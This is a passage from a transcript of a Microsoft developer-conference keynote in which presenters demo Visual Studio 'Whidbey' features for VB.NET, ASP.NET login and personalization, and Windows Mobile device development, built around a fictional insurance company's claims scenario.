weekend to deploy the application; developers, IT, it's all hands on deck. Because you can do the validation up front it enables the operations managers to specify the infrastructure constraints and it lets the developers actually validate against the infrastructure constraints without having the infrastructure set up, so they can sit in their office, they don't need a huge cluster of servers, they understand the policy, and it allows for explicit contracts across the entire lifecycle. The technology that we use to bring together our designers and our deployment is called "WhiteHorse" and I want to invite Rick LaPlante, who's the general manager of that group, to come on out and show us "WhiteHorse" in action. (Applause.) RICK LaPLANTE: Hey, good morning, Rick. Thanks a lot. Well, so as you've been hearing throughout this conference, service-oriented applications are becoming more and more prevalent. And when we go out and we talk with customers who've actually successfully deployed this type of application, we've actually seen a couple of recurring best practices. So one of them is that these customers have stopped thinking about one application or one service at a time and have really started thinking about the set of applications that are connected via Web services. So the second thing that they've really focused on is they've tried to move as much information, as sort of Eric was talking about, as early into the design process the information about the deployment environment so that they can be used to inform the actual decision in doing the service creation. So at Microsoft we certainly believe that tools can help customers along this path very quickly in a couple of specific ways. The first one is to make it easier for developers to create, visualize, edit the relationships between all those services. And the second is that with tools we can focus on the problems that teams face when they move these systems into the datacenters when they run into configuration and policy problems. So, to that end, in "Whidbey" we've built a set of design tools, code-named "Whitehorse," that are built on a concept that we call Design for Operation. And this concept is really focused on these specific customer pain points of building service-oriented applications and then deploying them. So, with that, let me show you a sneak preview of just some of the designs that we're actually going to be shipping in "Whidbey." So what you see here, this is our new service-oriented application designer. So today most of the modeling tools you would use, if you used them, are really a starting point or used as post-mortem documentation for your implementation. ERIC RUDDER: I wouldn't know. I've actually never documented anything before, during or after. RICK LaPLANTE: Well, you know what? It turns out you're not going to have to worry about that with "Whitehorse,", Eric, because in "Whitehorse,", the designers are actually in the implementation are kept in continuous synchronization. So that means there's no model to get outdated and there's certainly no step that you have to take in the end that creates some sort of documentation of your application. In this case, this designer here is really just a view of the metadata that exists in your project system already. The metadata exists in your source code, your project system, your configuration file, the (???) files and proxies. And all of that information is visualized to help you understand your service-oriented architecture. So let's talk about some of the things that are on this designer, ok? Let me start out by pointing out these big boxes. These big boxes are application services. An application service is simply a piece of software that communicates with other services by sending and receiving messages. Now, these little boxes out here on the edge, these represent end points of communication. This is really the way in which a service sends and receives messages but today they're implemented as Web services and in "Longhorn" they can also be implemented as "Indigo" services. So this designer supports a drag, drop and connected model of application services. And you can use it just like a white board. So I can create services, I can define messages and the methods, I can create the edit relationships between all of those things. So what I'm showing here right now is actually a completed Woodgrove Insurance system, which includes the application that Ari and Scott had already demoed earlier. So wouldn't it be nice to know if these application services will actually deploy in our datacenters? So what I'm going to do is I'm going to show you how we actually go about that. So today, you know, this is a very time- and resource-consuming process, very error prone process and as you said it's why everybody gets pagers and has to come in on the weekends. Architects develop or design these systems and developers implement them, but whenever it comes to putting these things into deployment we always seem to run into conflicts with how our datacenter is configured. And it turns out, when we look into this problem, devs really have no idea how your datacenter is configured. You know, in many cases, they don't even know if there's a firewall sitting in between two services that they've designed. And all that information really needs to be put in front of the developer so they can make better design decisions. So, using "Whitehorse," we can check if the system is ready to be deployed in a three-step process. The first step is that a datacenter architect would capture the logical view of the datacenter and they do that to communicate the information back to the engineering team. The second step is that we take that logical view of the datacenter and we integrate it directly into the development environment, which enables architects and developers to make better decisions. And then the third step is that we validate those services that they conform to our policies. So let me show you how we would actually use this diagram in a design phase for an IT project. And we're going to use it to provide really the context for an application design and implementation. So in this case, in the Woodgrove case the operations team has already completed the first two steps. They've created for us a logical infrastructure model and then we've loaded that logical infrastructure model into Visual Studio. So to validate that these services will actually deploy I'm going to place them on that diagram. And to do that, I'm going to right-click and select Create Service Bindings." And what you're going to see here is a designer that you've probably never seen in Visual Studio before. This is actually a view of my logical datacenter. This is a diagram that was created by the Woodgrove operations staff specifically for the purpose of communicating to the engineering staff. And this diagram isn't like the network diagrams you've seen before, that it sort of excludes all the gory details that don't really influence application design. The primary function of this is to capture and then visualize logical server types and network segments in the datacenter. This is really important, because everything on this diagram here has configurations, settings and policies, which must influence my application design. So there's a lot of data that's actually represented on this diagram and I'm not going to go over it all but let me just go over a couple of points here. So one of the things that I'll point out is that these boxes here are what we call logical server types. Now, they're logical because they represent one or 100 machines that are configured the same way using the same policy in my datacenter. ERIC RUDDER: That's great. That'll actually work in conjunction with the management tools that we're shipping. So if we define, "Hey, in my shop, this is the way I want to run IIS when it's configured at the edge," I just define that once and I can spread it across the entire cluster. RICK LaPLANTE: Absolutely. And then we will enforce the application services that you put on that machine, conformed to that policy that you set up. And we'll show you that in just a minute. So the other thing that's on here is we've represented things that we call zones and zones really represent either logical or physical communication boundaries between the servers and my datacenters. So let me give you an example of how Woodgrove operations, the operations team, has used zones and server types in this example. So, first of all, they've created a zone, which they call the DMZ, that illustrates the communication boundary. Now, in Woodgrove's case, this is actually a physical network segment protected by firewalls. And we use zones to impose constraints on what protocols are allowed to come in and out. Now, in this case, the only protocol that's allowed to come in and out of this zone is HTTP. The other thing I'll point out is that this is Woodgrove's definition of a hardened IIS machine. And if I select here, I can actually see that we use server types to constrain what IIS can do by setting its metadata settings. And in this case, you notice that it's already set up to not allow Web services to run on a hardened IIS machine. In our architecture, in our datacenter architecture we expect all Web services to either run on our application services or our data services machine and not out in the DMZ. So you'll see how we use this information a little later. The important thing to remember is that server types and zones are extensible. Now, Microsoft, we will ship a set of predefined configurations based on the Microsoft systems architecture guidance, but you can create your own to convey your datacenter types and then you can share it within your organization. So remember, Eric, that this is not just a picture. Using all of the metadata about the operation, the datacenter, as well as the application services, we're going to validate that the services that we've built, that their settings are compatible with the datacenter policy. So to validate, I'm going to just drop these services onto the host that would actually host them in deployment. This is a list of all the services that were on my other designer and I'm going to drag and drop one of these onto one of the server types. And what you'll notice here is if I try and drop it onto the hardened IIS box, it won't actually let me drop because, as we just said, this box doesn't allow Web services to be deployed there. So let me just put them down in a couple of places where they actually can be deployed. Now, we notice these machines are capable of hosting Web services but we also want to know are there further problems with mismatched communications that don't actually match the datacenter policy? And to find that out, I can right-click and select Validate. And what you'll see is it immediately we've actually found another problem that would have surfaced at deployment time if we weren't using this tool. And this problem is that this data services host here says that anything that I host must use impersonation to talk to the database and you just put a service on me that doesn't use impersonation. Well, the nice thing is if I double-click on this, this is something that you can fix in the configuration file but what configuration file do I actually fix it in? When I double-click on the error, I am taken directly back to the service designer and the Web service configuration of the configuration file that has the error in it. So I can simply go to the property window, change impersonation to True. That will edit the configuration file, and I can just revalidate from this diagram. So you'll notice that we have no more errors. (Applause.) So basically, what we have here is we now have a set of services that conform to the policies of our datacenter and are ready to deploy. Now, what I want to point out is what you've just seen is really the first part of delivering Microsoft's Dynamic Systems Initiatives vision. You will be hearing a lot more about that at the conference and over the next several months. All of the metadata and all of the designs that I've shown today are persisted in the system definition model schema. And that SDM schema is core for all DSI work. That SDM schema is the same data that will be used later for deployment of these services, dynamic machine configuration and management of these services. So within "Whitehorse," in "Whidbey," we focus on three things: improving design experience for service-oriented applications, helping organizations bridge the gap between application design and data center operations, and setting ourselves up for "Longhorn," "Indigo" and the Dynamic Systems Initiative. So thank you very much. (Applause.) ERIC RUDDER: Thanks, Rick. RICK LaPLANTE: Thanks, Eric. ERIC RUDDER: That's kind of amazing. As part of my job, I actually have the privilege of running Microsoft.com, and we get into these situations with Datacenter policy and developer productivity all the time. And having really developers understand the policy and being able to check it right there, it might seem like we saved a few minutes, but some of these scenarios actually take hours and hours and days to debug. So the fact that we can actually validate end to end through the lifecycle is an incredible boost in productivity. You saw one of the things that we checked for in policy was actually security policy. And I want to spend a minute talking about security priorities and what we need to do as a community. We talked yesterday, especially in Bill's keynote, about Trustworthy Computing and the principles of secure by design, secure by default, and secure in deployment. And it really requires all of us to change our methodology for how we develop code. We need to be much more proactive during development. All of you, in your bags for the PDC materials have got this pretty thick book called "Writing Secure Applications" and I really encourage you to take some time and flip through it. There are some great chapters in there about how to build threat models and really drive secure designs in your application. It's important that you engage in reviews of your code. Fresh eyes on code are one of the best ways to actually perform security reviews. And take advantage of managed code and the new security tools. And one of the promises I made is that the tools that we use internally at Microsoft to detect things like buffer overruns and heap exploits we will productize. So you'll see in the next version of Whidbey some of the technology that we call pre-fast that we use for checking for buffer overruns. There's enhancements to the GS Compiler flags to help with some stack-based errors. And you'll see lots of tools coming out to help you but they only work if you use them, and my call to action for you is to make sure you take advantage of that. Think about what features you really need to be on when your app is deployed. You'll see us actually shipping more and more of our software with the features off by default. Think hard about the appropriate levels of access control and run your components with the least possible privilege. We do a lot of design reviews where we see a lot of components running as admin privilege, which really can compromise the entire system if the component is compromised. And so we really want people to run at the appropriate privilege level. And think about adding new defensive layers to your application. Some will actually take on the burden, like Scott showed you in the user management system, but there are areas probably where we can all benefit from a little bit more defensive layers using encryption or other techniques to kind of increase the security that we provide. And think about when your application goes into deployment. A lot of times you see applications that don't necessarily work behind a firewall for employees at home accessing applications that we build. And we see a lot of applications that aren't as antivirus friendly as they can be. So think about how firewall and antivirus interact with your solution. And make sure that you create security guidelines and documentation for your project and your staff as well. Jim outlined not just the security roadmap but the entire client roadmap yesterday. I wanted to spend a minute clarifying some of the server and tools roadmaps. Bill talked about the waves of technology roadmaps and kind of now we're in the Windows Server 2003 wave, if you will. We have a significant enhancement coming up soon for services for UNIX. It's incredibly helpful if you're just interoperating with UNIX in your shop and you want the command-line utilities or you need NFS connectivity. But it's got great developer features in it for bringing UNIX assets off of Solaris onto the Windows platform. It's got support for the key UNIX libraries. We've added P-Thread support to the platform. And you can compile with the UNIX subsystem and get up and running in no time at all. Exchange Server shipped a couple of months ago and that complements what we're doing with Office 2003. And we've also introduced a new server called Live Communications Server, which provides real-time capabilities to your application. I think a lot of us are adding a lot more real-time features to our applications going forward. In the management platform, we introduced SMS 2003, actually a few days ago. And in 2004 we'll complement that with a product we call MOM, Microsoft Operations Manager. At the end of this year or maybe January of next year, we'll ship BizTalk 2004. That's our workflow product. It kind of will anchor what we call Jupiter, which is kind of our e-commerce suite of applications. And then towards the middle or second half of 2004, you'll see Visual Studio "Whidbey" and SQL Server "Yukon" actually be delivered. So we'll deliver these technologies before we deliver "Longhorn." And, of course, we'll have an update to Windows Server, which we're calling "Longhorn" Server -- surprise -- based on the "Longhorn" technologies as well. One of the best ways to keep apprised of our roadmaps and what's going on and what's in data is really to take advantage of the resources that are MSDN. For the PDC we've created a new site called PDC Central. You'll find all the presentations and event materials up there. It was live kind of before we came to the PDC but we'll continue to post information, we'll continue to post samples. And based on your feedback we'll keep that site kind of around. But we expect it to really blend into the "Longhorn" dev center as we move forward, and that's really the place to keep in touch for new content on Longhorn, new documentation updates to the SDK, the annotations and the community that we work together on as we build the platform. We'll have editors blogging, we'll have RSS feeds of our content out. So if you want to be updated using your blogger notification, we're kind of in this together. And we'll kind of build some new sites on MSDN which we're calling labs, which are really technology playgrounds and kind of places to play, kind of in the tradition of GotDotNet work spaces, giving people areas to share and really build a community around the next wave of platform development. I think I'll summarize the call to action the same way Bill and Jim really do, which is focus on the fundamentals -- security, no reboots, great error messages. Think hard about building connected systems with Web services. Write your new code using the managed technologies. Take advantage of the great smart clients at the edge and build the best applications that you can. And really get involved in the community. I think our commitment to you is really winning together by us being a respectful member of the Windows community and really all of us using it as an ongoing dialogue. We take the feedback that you guys provide at the PDC and online and TechEd and in all of our major events and minor events and coffees and user groups and (???) meetings very seriously and a lot of the features that you saw today in the demo were based on your suggestions. And the only way for us to improve our tools and our platform is to continue to get that feedback. We promise to ship you world class tools as soon as we can, ahead of the platform, so you can fully realize your potential. We're going to continue to work with the entire industry ecosystem to get ready for this change. If you see at the show flow and if there are press events, we already have more than 40 of our ISVs committed to updating their products to the "Whidbey" and "Longhorn" level and we'll continue to prime the market for the next wave of opportunity. We promise to deliver a breakthrough platform for innovation and opportunity for you. I want to thank you for your time this morning and I want to thank you for coming to the PDC. We'll see you later. Thank you. (Applause.) Developers Talk to Developers about New Windows Innovations - Oct. 27, 2003 Eric Rudder Biography
http://www.microsoft.com/presspass/exec/ericr/10-28pdc2003.mspx
crawl-002
refinedweb
15,785
69.11
Increment and decrement operators in C# In C# Programming language we use increment and decrements operators for increase or Decrease value of variables.these variables are used as prefix and post-fix expression .in this C# code we will see how to use them in program. Increment and decrement operator in C# In C Sharp increment and decrement operator are use for increase and decrease value of operands by 1. in C# we have unary operators ++ and --. ++ is use for increase value and -- use for decrease value. unary operator give diffrent result as their position ,postfix or prefix.When ++ operator is prefixed with operands it first adds1 to the operand and then the result is assigned to variable on the left hand side.Whereas,when you postfix ++ operator in operand,it first assigns the value to variable on the left hand side and then increment the operand. Lets see example of using increment operator and assignment for you is make same program with -- operator that Decrease value. using System; class InCrement { public static void Main() { int x=20,y=15; System.Console.WriteLine(" x= "+x); System.Console.WriteLine(" y= "+y); System.Console.WriteLine(" ++x= " + ++x); System.Console.WriteLine(" y++= "y++); System.Console.WriteLine(" x= "+x);
http://www.dotnetspider.com/resources/43716-Increment-decrement-operators-C.aspx
CC-MAIN-2018-39
refinedweb
205
51.24
Rules DeepScan provides precise rules for JavaScript code quality. Rules have been developed by finding best practices from various sources like CWE, FindBugs, PMD, open sources and papers. And DeepScan provides the rules by the following category: - Error: Code which might throw an exception at runtime or cause unintended execution - Code Quality: Code which should be more readable, reusable and refactorable All rules are enabled by default. Error The following rules relate to code which might throw an exception at runtime or cause unintended execution: Code Quality The following rules relate to code which should be more readable, reusable and refactorable: ES6 Rules The following rules also relate to ECMAScript 6: React Rules We try to support fast-changing web frameworks. One of the results is the following React specific rules. What's the difference with ESLint React plugin? DeepScan supports unique rules that require the understanding of the execution flow. EVENT_HANDLER_INVALID_THIS In the below, DeepScan detects this.handleClick as invalid because this.handleClick is not bound with this object. class Hello extends React.Component { constructor(props) { super(props); this.state = { name: "John" }; } handleClick() { this.setState({ name: "Mary" }); // 'this' has undefined value. } render() { return (<div onClick={this.handleClick}>{this.state.name}</div>); } } At line 10, DeepScan reports like: Function 'this.handleClick' is used as a React event handler without 'this' binding. But 'this' object is accessed in the function body at line 10.MISSING_KEY_PROP In the below, DeepScan supports the object spread syntax by tracing the involved object. class Hello extends React.Component { render() { let childs = members.map((member) => { let props = { className: "style1" }; return (<li {...props}></li>); }); return (<ul>{childs}</ul>); } } At line 5, DeepScan reports like: Each child React element in a collection should have a 'key' prop.BAD_RENDER_RETURN_VALUE In the below, DeepScan detects missing return statement in if block while ESLint just finds whether return statement is in function body. class Hello extends React.Component { render() { let someErrorFlag = true; if (someErrorFlag) { <div>Error</div>; } else { return <div>Success!</div>; } } } At line 5, DeepScan reports like: The 'render()' function of React component 'Hello' returns an undefined value at this point. Consider adding 'return' keyword before JSX expression. Vue Rules DeepScan now supports Vue.js! The followings are our Vue specific rules:
https://deepscan.io/docs/rules/
CC-MAIN-2019-13
refinedweb
372
51.44
28 January 2011 14:41 [Source: ICIS news] WASHINGTON (ICIS)--The US economy grew by 3.2% in the fourth quarter of 2010, the Department of Commerce (DOC) said on Friday, indicating that the nation’s economic recovery was again gaining strength compared with the third-quarter rate of 2.6%. In its first estimate, the department said that ?xml:namespace> The GDP gain in the fourth quarter was attributed chiefly to an increase in what the department calls “personal consumption expenditures”, also known as consumer spending. The department said that consumer spending in the fourth quarter grew by 4.4%, compared with an increase of 2.4% in the third quarter. Export trade also contributed to the improvement, growing by 8.5% in the final three months of the year compared with the third-quarter growth rate of 6.8%. Non-residential fixed investment - which includes construction of office buildings, shopping malls, schools and roads - saw a fourth-quarter advance of 4.4%, but that pace was slower than the 10% growth rate in the third quarter. The advances in consumer spending and export trade were in part offset by a narrow 0.2% decline in federal government spending, compared with 8.8% growth in government outlays in the third quarter. For the full year 2010, the department said that the nation had GDP growth of 2.9%, only slightly better than the 2.6% pace of GDP expansion in 2009. The The recovery cooled to a 1.7% rate of GDP growth in the second quarter of last year, then picked up again in the third quarter to a revised 2.6%. Economists are anticipating that the In normal economic times, the But while a full-year 2011 GDP expansion rate of 3.2% or better ordinarily might be regarded as normal, the ongoing modest pace of the recovery has not generated the kind of job growth that has been associated with earlier post-recession build-ups. The fourth-quarter GDP figures may be revised when the department, drawing on more complete data, issues its second estimate of the period's performance on 25 February. (
http://www.icis.com/Articles/2011/01/28/9430481/us-q4-gdp-grew-at-3.2-full-year-2010-gdp-growth-was-2.9.html
CC-MAIN-2014-41
refinedweb
357
64.71
- Author: - preetkukreti - Posted: - February 8, 2010 - Language: - Python - Version: - 1.1 - sql tool dump save db bulk util - Score: - 1 (after 1 ratings) When called, this module dynamically alters the behaviour of model.save() on a list of models so that the SQL is returned and aggregated for a bulk commit later on. This is much faster than performing bulk writing operations using the standard model.save(). To use, simply save the code as django_bulk_save.py and replace this idiom: for m in model_list: # modify m ... m.save() # ouch with this one: from django_bulk_save import DeferredBucket deferred = DeferredBucket() for m in model_list: # modify m ... deferred.append(m) deferred.bulk_save() Notes: - After performing a bulk_save(), the id's of the models do not get automatically updated, so code that depends on models having a pk (e.g. m2m assignments) will need to reload the objects via a queryset. - post-save signal is not sent. see above. - This code has not been thoroughly tested, and is not guaranteed (or recommended) for production use. - It may stop working in newer django versions, or whenever django's model.save() related code gets updated in the future. More like this - models.py with django_dag models for parts hierarchy by j_syk 4 years, 3 months ago - Nested commit_on_success by rfk 6 years, 9 months ago - Circular reference with Django ORM and Postgres without breaking NOT NULL FK constraints by pstiasny 8 months ago - dumpdata/loaddata with MySQL and ForeignKeys by cmgreen 7 years, 10 months ago - Git recent commits template tag by david 7 years, 3 months ago Nice idea. I'm wondering if there might be a sneakier way to do this by abusing the pre/post save signals... # I'm getting this in Django-1.3.1: [HTML_REMOVED] any ideas how to fix this ? # # Please login first before commenting.
https://djangosnippets.org/snippets/1913/
CC-MAIN-2015-48
refinedweb
305
64.81
Product picture taken from Magento is not the expected one Bug Description In Magento product we can define multiple pictures per product. For every picture we can define at least these settings: - Sort Order - Base Image A product can have only 1 base image. OpenERP seems to take the image with the lowest sort order number. We would expect OpenERP to take the picture that is marked as "Base Image" We use module magentoerpconnect Related branches - Yannick Vaucher @ Camptocamp: Approve (code review, no tests) on 2014-01-14 - Diff: 39 lines (+4/-4)2 files modifiedmagentoerpconnect/product.py (+3/-3) magentoerpconnect/tests/test_import_product_image.py (+1/-1) Hi, We just tested wit this revision: revno: 935 branch-nick: openerp- We still see the same problem. Thanks. Can you call the XML/RPC API and give me the result of the method "product_ [ {'url': 'http:// 'label': 'Afmetingen picture', 'file': '/a/f/afmetinge 'position': '2' , 'exclude': '0' , 'types': []} , {'url': 'http:// , 'label': 'Verschil picture' , 'file': '/0/1/verschil_ , 'position': '3' , 'exclude': '0' , 'types': ['image']} , {'url': 'http:// , 'label': 'Standard_picture' , 'file': '/0/1/standard_ , 'position': '4' , 'exclude': '1' , 'types': []}] It seems that 'types': ['image'] is the image we are after. This one has the checkbox "Base Image" set. I should have mentioned we use Magento 1.4.1.1. Oh nice, thanks for the data. Looks like we are expecting 'base' while it should be 'image'. According to the doc [0], that's still "image". [0] http:// I proposed a patch here: https:/ Would you test and give me your result on the merge proposal? Thanks! Hello, Which revision of the Magento connector do you use? Normally, the image with the 'base' type should be used first. It should take the 'base' image first, then sort them by position, as seen in the test case below (images are .pop()'ed from the list, so the order goes from right to left). When one of the image can't be read (404 for instance), the next image will be imported. def test_image_ priority( self): orter(env) self.assertEqu als(importer. _sort_images( images) , [file4, file3, file2, file1]) """ Check if the images are sorted in the correct priority """ env = mock.Mock() importer = CatalogImageImp file1 = {'file': 'file1', 'types': ['base'], 'position': '10'} file2 = {'file': 'file2', 'types': ['thumbnail'], 'position': '3'} file3 = {'file': 'file3', 'types': ['thumbnail'], 'position': '4'} file4 = {'file': 'file4', 'types': [], 'position': '10'} images = [file2, file1, file4, file3]
https://bugs.launchpad.net/openerp-connector-magento/+bug/1258418
CC-MAIN-2018-26
refinedweb
396
62.17
A subclass can inherit from the superclass. A superclass is also known as a base class or a parent class. A subclass is also known as a derived class or a child class. It is very simple to inherit a class from another class. We use the keyword extends followed by the superclass name in the class declaration of your subclass. Java does not support multiple inheritance of implementation. A class in Java cannot have more than one superclass. The general syntax is <class modifiers>class <SubclassName> extends <SuperclassName> { // Code for the Subclass } The following code shows how to use create a Manager class from Employee class. class Employee {/*ww w. j a va2 s . c o m*/ private String name = "Unknown"; public void setName(String name) { this.name = name; } public String getName() { return name; } } class Manager extends Employee { } public class Main { public static void main(String[] args) { // Create an object of the Manager class Manager mgr = new Manager(); // Set the name of the manager mgr.setName("Tom"); // Get the name of the manager String mgrName = mgr.getName(); // Display the manager name System.out.println("Manager Name: " + mgrName); } } The code above generates the following result. We did not write any code for the Manager class, it works the same as the Employee class, because it inherits from the Employee class.". When a class inherits from another class, it inherits its superclass members, instance variables, methods, etc. Object Class is the Default Superclass If a class does not specify a superclass using the keyword extends in its class declaration, it inherits from the java.lang.Object class. public class P { } class P is extending from Object, even though we didn't specify the parent class. All classes were implicitly inherited from the Object class. Therefore objects of all classes can use the methods of the Object class. Employee emp = new Employee(); int hc = emp.hashCode(); String str = emp.toString(); Employee class does not specify its superclass using an extends clause. This means that it inherits from the Object class. The Object class declares the hashCode() and toString() methods. Because Employee class is a subclass of the Object class, it can use these methods. An "is-a" relationship in the real world translates into inheritance class hierarchy in software. For example, a Manager is a specific type of Employee. An Employee is a specific type of Object. As you move up in the inheritance hierarchy, you move from a specific type to a more general type. An assignment from subclass to superclass is called upcasting and it is always allowed in Java. class Employee {//from w ww . jav a 2 s .c o m private String name = "Unknown"; public void setName(String name) { this.name = name; } public String getName() { return name; } } class Manager extends Employee { } public class Main { public static void printName(Employee emp) { String name = emp.getName(); System.out.println(name); } public static void main(String[] args) { Employee emp = new Employee(); emp.setName("Tom"); Manager mgr = new Manager(); mgr.setName("Jack"); // Inheritance of setName() at work // Print names printName(emp); printName(mgr); // Upcasting at work } } Assigning a superclass reference to a subclass variable is called downcasting. Downcasting is the opposite of upcasting. In upcasting, the assignment moves up the class hierarchy whereas in downcasting the assignment moves down the class hierarchy. We have to use a typecast in downcasting. Manager mgr = (Manager)emp; // OK. Downcast at work The code above generates the following result. Java instanceof operator helps us determine whether a reference variable has a reference to a class or a subclass. It takes two operands and evaluates to a boolean value true or false. Its syntax is <Class Reference Variable> instanceof <Class Name or Interface> If <Class Reference Variable> refers to an object of class <Class Name> or any of its descendants, instanceof returns true. Otherwise, it returns false. If reference variable is null, instanceof always returns false. We should use the instanceof operator before downcasting. Manager mgr = new Manager(); Employee emp = mgr; if (emp instanceof Manager) { // downcast will succeed mgr = (Manager)emp; }else { // emp is not a Manager type } We can disable subclassing by declaring the class final. A final class cannot be subclassed. The following code declares a final class named MyClass: public final class MyClass{ } We can also declare a method as final. A final method cannot be overridden or hidden by a subclass. public class A { public final void m1() { } public void m2() { } }
http://www.java2s.com/Tutorials/Java/Java_Object_Oriented_Design/0300__Java_Inheritance.htm
CC-MAIN-2017-22
refinedweb
738
58.48
I'm trying to learn some React by making a menu with collapsable items. I'm using jQuery for its slideToggle function but I cant get it to work right. the relevant part of the react code is this: var CollapsableMenuItem = React.createClass({ toggleDescription: function(el) { $(el).slideToggle(); }, render: function() { return ( <li> <label className='title' onClick={this.toggleDescription.bind(this)}> {this.props.item.title} </label> <div className='description'> <label> {this.props.item.body} </label> </div> </li> ); } }); althought I'm currently trying to slide toggle "this", that will need to change in the future to $(el).parent().find('.description').slideToggle(); because that's the actual element that needs to slide toggle Whats the correct way of binding "this [element]" so jQuery can do its slideToggling on it? I'm currently working out of this fiddle, theres some other stuff in there you can ignore. The relevant code is at the bottom of the javascript section a second question that comes to mind: is it bad practice to use the jQuery.ready function to bind click events etc... with react? theoretically I can bundle a jquery file with each component file with its event handlers. The context of this in React isn't the element, it's the React component. jQuery doesn't understand how to use it as a selector. You'll need to get a reference to the element you want to control with jQuery. makeTogglable: function(element) { $element = $(element); this.toggle = function() { $element.slideToggle(); }; }, render: function() { return ( <li> <label onClick={this.toggle}></label> <div ref={this.makeTogglable}></div> </li> ); } The ref prop takes a callback, which will run when the component is mounted. The DOM element will be passed to the callback, so that you can work with it directly. In this case, we use it to create and expose a new this.toggle method, which calls .slideToggle on the element. Finally, we pass the new this.toggle method to the onClick handler for the element that we want to trigger the toggle. In this case it's the <div>.
https://javascriptinfo.com/view/170238/react-using-jquery-to-slidetoggle
CC-MAIN-2021-17
refinedweb
341
68.67
public class Scope extends java.lang.Object A Scope defines a SINGLE THREADED local lifetime management context, stored in Thread Local Storage. Scopes can be explicitly entered or exited. User keys created by this thread are tracked, and deleted when the scope is exited. Since enter & exit are explicit, failure to exit means the Keys leak (there is no reliable thread-on-exit cleanup action). You must call Scope.exit() at some point. Only user keys & Vec keys are tracked. Scopes support nesting. Scopes support partial cleanup: you can list Keys you'd like to keep in the exit() call. These will be "bumped up" to the higher nested scope - or escaped and become untracked at the top-level. clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait public Scope() public static void enter() public static Key[] exit(Key... keep) public static Key[] pop() public static <T extends Keyed> Keyed<T> track_generic(Keyed<T> keyed) public static Vec track(Vec vec) public static Frame track(Frame... frames) Frames, and return the first one. The tracked frames will be removed from DKV when exit(Key[])is called. public static void untrack(Key<Vec>... keys) public static void untrack(java.lang.Iterable<Key<Vec>> keys)
http://docs.h2o.ai/h2o/latest-stable/h2o-core/javadoc/water/Scope.html
CC-MAIN-2019-30
refinedweb
205
68.97
ive been able to make this simple else if statement work, the problem is, i keep getting the same message when i call the showcase. i want the user to enter a name or object after the word 'show', if they dont, i want a mesage to display stating so. here is the code im using so far: #include<iostream> #include<string> using namespace std; int main() { string command; ; cout <<endl; cout << "Please enter a command." << endl; do { getline(cin, command); //event that happens if assemble filename is used as command if (command == "build") { cout << "will attempt to build specified object\n"; } //event that happens if load is used as command else if (command == "show") { //checks to see what the length of the command is. if it is //lower than 4 characters, message is shown. otherwise, another //message gets shown. if(command.length() > 4) { cout<< "will call the show function to load the specified file\n"; } else { cout << "must add object name\n"; } } }while(command != "exit"); return 0; } all i get is the 'must add object name' message, or nothing gets displayed. any help or suggestions?
https://www.daniweb.com/programming/software-development/threads/312756/output-problem-using-else-if-statements
CC-MAIN-2018-30
refinedweb
186
68.4
Project > Application (Qt) > Qt Widgets Application > Choose. The Introduction and Project Location dialog opens. - In the Name field, type TextFinder. - In the Create in field, enter the path for the project files. For example, C:\Qt\examples. - Select Next (on Windows and Linux) or Continue (on macOS) to open the Define Build System dialog. - In the Build system field, select CMake as the build system to use for building the project. - Select Next or Continue to open the Class Information dialog. - In the Class name field, type TextFinder as the class name. - In the Base class list, select QWidget as the base class type. Note: The Header file, Source file and Form file fields are automatically updated to match the name of the class. - Select Next or Continue to open the Translation File dialog. - In the Language field, you can select a language that you plan to translate the application to. This sets up localization support for the application. You can add other languages later by editing the project file. - Select Next or Continue to open the Kit Selection dialog. - Select build and run kits for your project. - Select Next or Continue to open the Project Management dialog. - Review the project settings, and select Finish (on Windows and Linux) or Done (on macOS) to create the project. Note: The project opens in the Edit mode, and these instructions are hidden. To return to these instructions, open the Help mode. The TextFinder project now contains the following files: - main.cpp - textfinder.h - textfinder.cpp - textfinder.ui - CMakeLists.txt The .h and .cpp files come with the necessary boiler plate code. If you selected CMake as the build system, Qt Creator created a CMakeLists.txt project file for you. view, change the objectName to findButton. - Press Ctrl+A (or Cmd+A) to select the widgets and select Lay out Horizontally (or press Ctrl+H on Linux or Windows or Ctrl+Shift+H on macOS) to apply a horizontal layout (QHBoxLayout). - Drag and drop a Text Edit widget (QTextEdit) to the form. - Select the screen area, and then select Lay out Vertically (or press Ctrl+L) to apply a vertical layout (QVBoxLayout). Applying the horizontal and vertical layouts ensures that the application UI scales to different screen sizes. - To call a find function when users select view view(); cursor.movePosition(QTextCursor::Start, QTextCursor::MoveAnchor, 1); } - To use QFile and QTextStream, add the following #includes to textfinder.cpp: #include "./ui_textfinder); Creating a Resource File: - Select File > New File > Qt > Qt Resource File > Choose. The Choose the Location dialog opens. - In the Name field, enter textfinder. - In the Path field, enter the path to the project, and select Next or Continue. The Project Management dialog opens. - In the Add to project field, select TextFinder and select Finish or Done to open the file in the code editor. - In the Copy to Clipboard dialog, select Yes to copy the path to the resource file to the clipboard for adding it to the CMakeLists.txt file. - Select Add > Add Prefix. - In the Prefix field, replace the default prefix with a slash (/). - Select Add > Add Files, to locate and add input.txt. Adding Resources to Project File For the text file to appear when you run the application, you must specify the resource file as a source file in the CMakeLists.txt file that the wizard created for you: set(PROJECT_SOURCES main.cpp textfinder.cpp textfinder.h textfinder.ui ${TS_FILES} textfinder.qrc ) Compiling and Running Your Application Now that you have all the necessary files, select the button to compile and run your.
https://doc.qt.io/qtcreator/creator-writing-program.html
CC-MAIN-2022-40
refinedweb
595
67.45
[Data Points] EF Core 2.1 Query Types By Julie Lerman | July 2018 | Get the Code EF Core 2.1 is here! And there are many great new features and improvements. Rather than taking over the entire magazine to tell you about them all, I’ll share with you the new Query Type feature, which lets you more easily query the database without needing true entities with key properties to consume the results. Prior to query types, it was possible to write queries against database views and to execute stored procedures with EF Core, but there were limitations. For the views, you had to rely on the fact that EF Core doesn’t know the difference between a view and a table in your database. You could create entities that were part of your DbContext model, create DbSets for those entities and then write queries against those DbSets. But a lot of caveats came with that workflow, such as having to take care not to edit the resulting objects and accidentally causing SaveChanges to attempt to execute an update command, which would fail in the database unless your view was updatable. When executing stored procedures using the FromSql method, you were again required to tie the results to a true entity that was part of your data model, which meant adding extra types to your data model that really didn’t need to be there. The new Query Type enables easier paths to working with views, stored procedures and other means of querying your database. This is because the query type allows you to let EF Core interact with types that don’t have key properties and map to database objects that don’t have primary keys. EF has always been reliant on keys, so this is a big step for EF Core. Additionally, the query type will help you avoid any interaction with the change tracker, so you don’t have to add in code to protect your application from inadvertent runtime exceptions related to entities that aren’t updatable. You can even use query types to map to tables, forcing them to be read-only. In this article I’m going to explore three capabilities enabled by query types: - 